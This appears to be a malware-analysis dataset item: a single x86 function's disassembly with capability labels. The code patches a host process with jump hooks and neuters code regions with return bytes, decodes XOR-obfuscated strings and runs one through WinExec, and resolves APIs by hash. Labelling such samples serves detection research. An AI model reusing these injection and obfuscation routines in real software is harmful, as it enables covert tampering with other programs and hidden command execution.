Function at 0x10009570
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x35c
mov eax, dword [0x10026018]
xor eax, esp
mov dword [esp + 0x358], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10009ebb
lea eax, [esp + 0x150]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xdf
xor eax, eax
mov dl, byte [eax + 0x10020e9c]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x50], dl
inc eax
and ecx, 0xff
cmp eax, 0x36
jb 0x100095c1
lea eax, [esp + 0x150]
push eax
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x260]
push edx
mov byte [esp + 0x92], bl
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0x54]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0x154]
push ebx
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x25c]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea ecx, [esp + 0x8c]
push ebx
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [esp + 0x88]
push edx
mov dword [esp + 0x8c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x8c], 6
ja 0x10009696
cmp dword [esp + 0x90], 1
ja 0x10009696
mov byte [0x11183a2a], 1
jmp 0x1000969f
push esi
call fcn.100165d0
add esp, 4
cmp byte [0x4d1e69], 0xeb
jne 0x100096ad
call fcn.10016480
mov ecx, 0x1f248c57
lea eax, [esp + 0x18]
call fcn.1000a010
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov word [esp + 0x20], ax
mov byte [esp + 0x22], al
mov ecx, 0x5cc793a3
lea eax, [esp + 0x44]
call fcn.1000a630
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], ecx
mov word [esp + 0x4c], cx
call eax
mov byte [0x11183a5d], 1
call fcn.10004620
lea eax, [esp + 0x120]
push eax
mov ebx, 0x10
mov eax, 0x400000
mov dword [esp + 0x124], 0xc708c483
mov dword [esp + 0x128], 0xffffff05
mov dword [esp + 0x12c], 0x46ff
mov dword [esp + 0x130], 0x68006a00
call fcn.10016380
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
test eax, eax
je 0x100097aa
mov ecx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea ebx, [esi + ecx + 5]
lea ecx, [esp + 0xc]
push ecx
lea eax, [ebx + 0xa]
mov dword [0x10026368], eax
mov edx, dword [eax + 1]
push 0x40
push 5
lea eax, [eax + edx + 5]
push ebx
mov dword [0x10026368], eax
call edi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push ecx
mov edx, 0x10004d20
sub edx, ebx
push 5
sub edx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], edx
call edi
call fcn.100145a0
jmp 0x100097d2
mov ecx, 0xef
xor eax, eax
mov dl, byte [eax + 0x10020ee0]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x11
jb 0x100097b1
call fcn.10016480
lea eax, [esp + 0x120]
push eax
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x124], 0xffffffa1
mov dword [esp + 0x128], 0xffffffff
mov dword [esp + 0x12c], 0xffff8b32
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0x78ffffff
mov dword [esp + 0x138], 0x8bffff89
mov word [esp + 0x13c], 0x8ff
mov byte [esp + 0x13e], 0x51
call fcn.10016380
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10009b34
mov ecx, dword [eax + 1]
lea edx, [esp + 0x120]
mov byte [esp + 0x140], bl
push edx
mov ebx, 0x21
mov eax, 0x400000
mov dword [0x11183aa8], ecx
mov dword [esp + 0x124], 0xffffffa1
mov dword [esp + 0x128], 0xffff89ff
mov dword [esp + 0x12c], 0x83ffffff
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0xffff02ff
mov dword [esp + 0x138], 0xffffff83
mov dword [esp + 0x13c], 0x7404ffff
mov dword [esp + 0x140], 0x6affebff
call fcn.10016380
xor ebx, ebx
add esp, 4
mov dword [0x11183aac], eax
cmp eax, ebx
je 0x100098e1
mov eax, dword [eax + 1]
mov dword [0x11183aac], eax
jmp 0x10009937
mov ecx, 0xba
xor eax, eax
jmp 0x100098f0
mov dl, byte [eax + 0x10020ef4]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x24], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x100098f0
lea eax, [esp + 0x24]
push eax
push ebx
mov ecx, 0x10126568
mov byte [esp + 0x3b], bl
call fcn.1000b840
xor eax, eax
add esp, 8
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.10016480
lea ecx, [esp + 0x120]
push ecx
mov ebx, 0x17
mov eax, 0x400000
mov dword [esp + 0x124], 0x8e68
mov dword [esp + 0x128], 0xc16800
mov dword [esp + 0x12c], 0xff8d0000
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0xffffffe8
mov word [esp + 0x138], 0x6aff
mov byte [esp + 0x13a], 2
call fcn.10016380
mov esi, eax
add esp, 4
test esi, esi
je 0x10009b0a
lea edx, [esp + 0x120]
push edx
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x124], 0xffffffa1
mov dword [esp + 0x128], 0xffffffff
mov dword [esp + 0x12c], 0xffff8b32
mov dword [esp + 0x130], 0xffffffff
mov dword [esp + 0x134], 0x78ffffff
mov dword [esp + 0x138], 0x8bffff89
mov word [esp + 0x13c], 0x8ff
mov byte [esp + 0x13e], 0x51
call fcn.10016380
add esp, 4
mov dword [0x11183a18], eax
test eax, eax
je 0x10009a25
mov eax, dword [eax + 0xb]
mov dword [0x11183a18], eax
jmp 0x10009a51
mov ecx, 0x67
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.4__58]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10009a30
call fcn.10016480
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + eax + 0x57]
lea eax, [esi + eax + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x11183a10], ecx
add ecx, 0x2d
mov dword [0x11183a0c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x11183a0c], ecx
mov edx, dword [eax + 0x26]
mov dword [0x11183a14], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10026378], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026378], ecx
lea ecx, [eax + 0x21]
mov dword [0x1002636c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1002636c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10026370], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026370], ecx
lea ecx, [eax + 0x42]
mov dword [0x10026374], ecx
mov edx, dword [ecx + 1]
mov dword [0x11183a08], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1002637c], eax
mov dword [0x10026374], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x1002637c], eax
mov dword [0x11183ab0], 0x10005620
jmp 0x10009b87
mov ecx, 0x72
xor eax, eax
mov dl, byte [eax + 0x10020f18]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10009b11
call fcn.10016480
jmp 0x10009b87
mov ecx, 0x82
xor eax, eax
jmp 0x10009b40
mov dl, byte [eax + 0x10020f34]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x34], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009b40
lea eax, [esp + 0x34]
push eax
push ebx
mov ecx, 0x10126568
mov byte [esp + 0x4b], bl
call fcn.1000b840
xor eax, eax
add esp, 8
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call fcn.10016480
lea ecx, [esp + 0x120]
push ecx
mov ebx, 0x30
mov eax, 0x400000
mov dword [esp + 0x124], 0xffe8c88b
mov dword [esp + 0x128], 0xe8ffffff
mov dword [esp + 0x12c], 0xffffffff
mov dword [esp + 0x130], 0xffffffe8
mov dword [esp + 0x134], 0xffffe8ff
mov dword [esp + 0x138], 0xffe8ffff
mov dword [esp + 0x13c], 0xe8ffffff
mov dword [esp + 0x140], 0xffffffff
mov dword [esp + 0x144], 0xffffffe8
mov dword [esp + 0x148], 0xffffe8ff
mov dword [esp + 0x14c], 0x1b0ffff
mov dword [esp + 0x150], 0xc35de58b
call fcn.10016380
add esp, 4
mov dword [0x10131494], eax
test eax, eax
je 0x10009c7a
lea edx, [eax + 0x20]
mov dword [0x1053153c], edx
lea ebx, [eax + 0x1b]
lea edx, [esp + 0xc]
push edx
mov dword [0x10531538], ebx
mov eax, dword [ebx + 1]
push 0x40
push 5
lea ecx, [ebx + eax + 5]
push ebx
mov dword [0x10531538], ecx
call edi
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push edx
mov eax, 0x100057a0
sub eax, ebx
push 5
sub eax, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
call edi
jmp 0x10009c7f
call fcn.10016480
mov ebx, dword [0x11183a10]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x76
push ebx
call edi
push 0x76
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x76
push ebx
call edi
mov ebx, dword [0x11183a08]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x1e0
push ebx
call edi
push 0x1e0
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x1e0
push ebx
call edi
mov ebx, dword [0x11183a14]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x33
push ebx
call edi
push 0x33
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push edx
push 0x33
push ebx
call edi
mov ebx, dword [0x11183a14]
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push ebx
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
mov ecx, 0x100053d0
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call edi
push 0x400000
push 0
push 0x10131538
call sub.MSVCR100.dll_memset
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x400000
push 0x10131538
push 0x400000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x10131538]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10131538], cl
inc eax
cmp eax, 0x400000
jb 0x10009d84
push 0xa0
push 0
push 0x10131498
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10131498
push 0x100053d0
call edi
push eax
call ebx
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10131498]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10131498], dl
inc eax
cmp eax, 0xa0
jb 0x10009dd0
push 0x7c
push 0
push 0x10131418
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10131418
push fcn.10004e20
call edi
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x10131418]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10131418], cl
inc eax
cmp eax, 0x7c
jb 0x10009e10
push 0x52f
push 0
push 0x10130ee8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x10130ee8
push fcn.10004ea0
call edi
push eax
call ebx
xor eax, eax
mov dl, byte [eax + 0x10130ee8]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130ee8], dl
inc eax
cmp eax, 0x52f
jb 0x10009e54
push 0x32
push 0
push 0x10130e7c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x32
push 0x10130e7c
push 0x1000ec10
call edi
push eax
call ebx
xor eax, eax
mov cl, byte [eax + 0x10130e7c]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130e7c], cl
inc eax
cmp eax, 0x32
jb 0x10009e94
mov edx, dword [esp + 0x14]
mov dword [0x11183a24], edx
call fcn.10011fd0
mov ecx, dword [esp + 0x364]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10019876
mov esp, ebp
pop ebp
ret 0xc